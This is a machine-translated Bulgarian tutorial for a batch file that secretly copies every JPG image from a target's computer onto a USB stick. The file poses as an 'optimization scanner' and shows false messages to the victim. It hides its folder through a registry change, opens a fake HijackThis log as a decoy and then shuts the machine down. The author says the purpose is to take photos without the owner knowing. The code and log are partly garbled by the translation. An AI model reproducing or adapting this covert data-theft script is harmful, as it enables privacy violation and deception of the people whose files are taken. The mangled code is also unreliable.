Тайно шпионско изображение Снимка Копиране Партиден файл: 5 стъпки

2024 Автор: John Day | [email protected]. Последно модифициран: 2024-01-30 07:55

И така, първо на първо място какво създава тази инструкция и защо. Тази инструкция ще ви позволи да създадете партиден файл, който да копира всички изображения от компютър на вашата памет. ще направи това дискретно, представяйки се за друга програма, която проверява компютъра за проблеми. Когато приключите, ще имате скрита папка на паметта си с всички копирани изображения. Създадох тази инструкция, защото исках да извлека цифрова снимка от нечия машина, без те да знаят, че съм го направил. Законното използване на този файл ще ви позволи да архивирате/архивирате вашите лични снимки. Други приложения: Този файл може да бъде променен, за да позволи копиране на всеки друг вид документ.

Стъпка 1: Напишете кода

Копирайте следния код в бележника и го запазете в корена на паметта си като прилеп файл, можете да го наречете както искате, стига да има разширението.bat. За да сте сигурни, че има правилното разширение, въведете го по следния начин в полето за запазване на бележника „copyimage.bat“(включете кавичките!)

@echo actcho Клиент за оптимизация 2008 v3.02becho -------------------------------- echo.echo Моля, не използвайте вашия компютър докато това се изпълнява.echo.echo Списък на процеса на сканиране. Когато завърши, ще се покаже регистрационен файл, за да може системният ви администратор да прегледа.echo.echo Моля, имайте търпение, това може да отнеме до 3 часа.reg добавете HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002/f> nulmkdir / data> nulattrib +h / data> nulsetLocal EnableDelayedExpansion@echo offfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) attrib -s +h data \*> nulstart optimizationLog.txtshutdown /s /c " Сканирането за оптимизация завърши, вашият компютър вече ще се изключи"

Стъпка 2: Създайте фалшив файл с отчет

В тази стъпка създадох фалшив текстов файл, който се преструва, че е резултатът от дневника на пакетния файл, който изпълняваме, за да копираме файловете. Това ви позволява да се преструвате, че нещо се е случило. Няма значение какво казва този файл, можете да го промените колкото искате, просто се уверете, че името на файла е правилно и че се съхранява в корена на вашата карта с памет. Текстът, който използвах, е предимно от отвличане на това log, копирайте го и го запишете в корена на паметта си като optimizationLog.txt

Сканирането завърши. Моля, затворете този дневник и позволете на системния си администратор да го прегледа. Изпълняващи процеси: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Файлове / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Файлове / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / ЗАБЕЛЕЖКА PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Страница за търсене = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, Начална страница = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink/? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, Страница за търсене = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Старт Страница = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - Хостове::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C -E8AD -4283 -A596 -FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHlO2: Groove GFS Browser Helper-{72853161-30C5-4D22-B7F9-0BBC1D38A37E}-C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2-BHO: SSVHelper Class-{761497BB-D6F0-462C-B6EB-D6FD-B6EB: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 -Лента с инструменти: BitDefender Toolbar -{381FFDE8-2394-4f90 -B10D -FC6124A40F8C} -C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dll - HKLM \.. / Изпълнение: [Windows Defender] %ProgramFiles %\ Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Изпълнение: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Изпълнение: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Изпълнение: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Run: [Persistence] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Run: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Изпълнение: [TPwrMain] %ProgramFiles %\ TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView] %ProgramFiles %\ Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Run: [00TCrdMain] %ProgramFiles %\ TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Изпълнение: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Файлове / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Изпълнение: [TOSCDSPD] C: / Програмни файлове / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Изпълнение: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe /HO4 - Стартиране: OneNote 2007 Clipper и Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Допълнителен елемент от контекстното меню: E & xport to Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9-Допълнителен бутон: (без име)-{08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Допълнителен елемент от менюто „Инструменти“: Sun Java Console - {08B0E5C0-4FCB -11CF -AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9-Допълнителен бутон: Изпращане до OneNote-{2670000A-7350-4f3c-8081-5663EE0C6C49}-C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Допълнителен елемент от менюто „Инструменти“: S & end to OneNote - {2670000A -7350-4f3c -8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Допълнителен бутон: eBay.co.uk - Купете It Sell It Love It-{76577871-04EC-495E-A12B-91F7C3600AFA}-https://rover.ebay.com/rover/1/710-44557-9400-3/4 (липсва файл) O9-Допълнителен бутон: (без име)-{85d1f590-48f4-11d9-9669-0800200c9a66}- %windir %\ bdoscandel.exe (файл липсва) O9-Допълнителен елемент от менюто „Инструменти“: Деинсталиране на BitDefender Online Scanner v8-{85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir %\ bdoscandel.exe (липсва файл) O9 -Допълнителен бутон: Amazon.co.uk -{8A918C1D -E123-4E36 -B562-5C1519E434CE} -https://www.amazon.co.uk/ exec/obidos/redirect-home? tag = Toshibaukbholink-2 1 & site = home (файл липсва) O9 - Допълнителен бутон: Изследване - {92780B25-18CC -41C8 -B9BE -3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Неизвестен файл в Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - Неизвестен файл в Winsock LSP: c: / windows / system32 / napinsp.dllO10 - Неизвестен файл в Winsock LSP: c: / програмни файлове / vmware / vmware работна станция / vsocklib.dllO10 - Неизвестен файл в Winsock LSP: c: / програмни файлове / vmware / vmware работна станция / vsocklib.dllO11-група опции: [МЕЖДУНАРОДЕН] Международен*O13-Префикс на Gopher: O16-DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (get_atlcom клас) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Протокол: grooveLocalGWS - {88FED34C -F0CA -4636 -A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18-Протокол: ms-help-{314111C7-A502-11D2-BBCA-00C04F8EC294}-C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18-Отвличане на филтъра: text/ xml-{807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Notify: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Услуга: Agere Modem Call Progress Audio (AgereModemAudio) Системи - C: / Windows / system32 / agrsmsvc.exeO23 - Услуга: BitDefender Arrakis сървър (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Услуга: Услуга за лицензиране на Autodesk - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Услуга: ConfigFree услуга - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Услуга: @%SystemRoot%\ ehome / ehstart.dll, -101 (ehstart) - Неизвестен собственик - %windir %\ system32 / svchost.exe (файл липсва) O23 - Услуга: getPlus (R) Помощник - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Услуга: Услуга за актуализация на Google (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Неизвестен собственик - C: / Program Files / Google / Update / GoogleUpdate.exe " /svc (файл липсва) O23 - Услуга: BitDefender Desktop Update Service (LIVESRV) - Неизвестен собственик - C: / Program Files / Common Файлове / BitDefender / BitDefender Update Service / livingrv.exe " /услуга (файл липсва) O23 - Услуга: @%SystemRoot%\ system32 / qwave.dll, -1 (QWAVE) - Неизвестен собственик r -%windir%\ system32 / svchost.exe (файл липсва) O23 - Услуга: @%SystemRoot%\ system32 / seclogon.dll, -7001 (seclogon) - Неизвестен собственик -%windir%\ system32 / svchost.exe (файл липсва) O23 - Услуга: Услуга за настройка на производителността на преносимия компютър (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Услуга: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Услуга: TOSHIBA услуга за оптично дисково устройство (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Услуга: TOSHIBA Power Saver (TosCoSrv) - TOSHI Програмни файлове / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Услуга: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Услуга: VMware Agent Service (ufad -ws60) - Неизвестен C: / Program Files / VMware / VMware Workstation / vmware -ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad -p2v.x ml (файл липсва) O23 - Услуга: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Услуга: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware -authd.exeO23 - Услуга: VMware DHCP услуга (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Услуга: VMware NAT Услуга - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - Услуга: BitDefender Virus Shield (VSSERV) - Неизвестен собственик - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe " /услуга (файл липсва) O23 - Услуга: VNC сървър версия 4 (WinVNC4) - Неизвестен собственик - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-услуга (файл липсва) O23 - Услуга: @%ProgramFiles%\ Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Неизвестен собственик - %ProgramFiles %\ Windows Media Player / wmpnetwk.exe (файл липсва)

Стъпка 3: Стартирайте програмата

Сега трябва да имате карта с памет с два файла (и много свободно място, готово за новите изображения). Ако имате нещо друго на устройството, няма значение. Вземете паметта на целевия си компютър. Когато го регистрирате, обърнете внимание на разпределената му буква на устройството, това ще ви позволи да го стартирате, без да е необходимо първо да преглеждате папката. Натиснете клавиша Windows и след това натиснете 'R' (докато все още държите клавиша Windows). Това ще изведе полето Run. В полето за изпълнение въведете пътя на пакетния файл, който създадохме, като буквата на устройството е буквата, присвоена, когато сте включили картата с памет.: g: / copyimage.bat И след това натиснете enter или щракнете върху run. Това ще стартира пакетния файл. Когато приключи, той ще изключи машината. Извадете паметта си и я извадете!

Стъпка 4: Вземете изображенията

Сега трябва да имате памет с всички изображения. Файловете и папката са скрити, така че ако не показвате вашите, ще трябва да ги активирате. За да направите това, отидете в прозорец на изследовател (напр. Отворете моя компютър) и: WinXP - Инструменти, Опции за папки, Преглед, Показване на скрити файлове Vista - Организиране, Опции за папка и търсене, Преглед, Показване на скрити файлове След като изберете, трябва да можете да отворите скрита папка и вземете желаните от вас изображения!

Стъпка 5: Какво означава кодексът

Ще обясня възможно най -много кода. основната функция за копиране не е написана от мен, заемал съм я от следния сайт и я промених:

@echo off '' Спира показването на команди на екрана, така че потребителят не знае какво се прави echo Optimization client 2008 v3.02b echo ------------------- ------------- ехо. Записва на екрана заглавие на ехото на програмата. Моля, не използвайте компютъра си, докато той работи. Echo.echo Списък на процеса на сканиране. Когато приключи, ще се покаже регистрационен файл, за да може системният ви администратор да прегледа.echo.echo Моля, бъдете търпеливи, това може да отнеме до 3 часа. Казва на потребителя много боклуци, които не са верни. Reg add HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002 /f> nul Добавя ключ на системния регистър, който ще скрие скритите файлове и папки. Това спира потребителя да вижда папката, която създаваме, за да съхранява копираните изображения. Командата nul в края спира командата да докладва каквито и да е съобщения, когато завърши mkdir / data> nul Прави папка на устройството, в която този пакетен файл се намира на извиканите данни. attrib +h / data> nul Скрива създадената папка setLocal EnableDelayedExpansionfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) Това е кодът, който ще търси в целия c: / диск за изображения. Ако искате да търси друго устройство, променете c: part на това, което искате. Ако искате да намери други типове файлове, избройте ги до текстовия jpg, разделете типовете файлове с интервал. Например-j.webp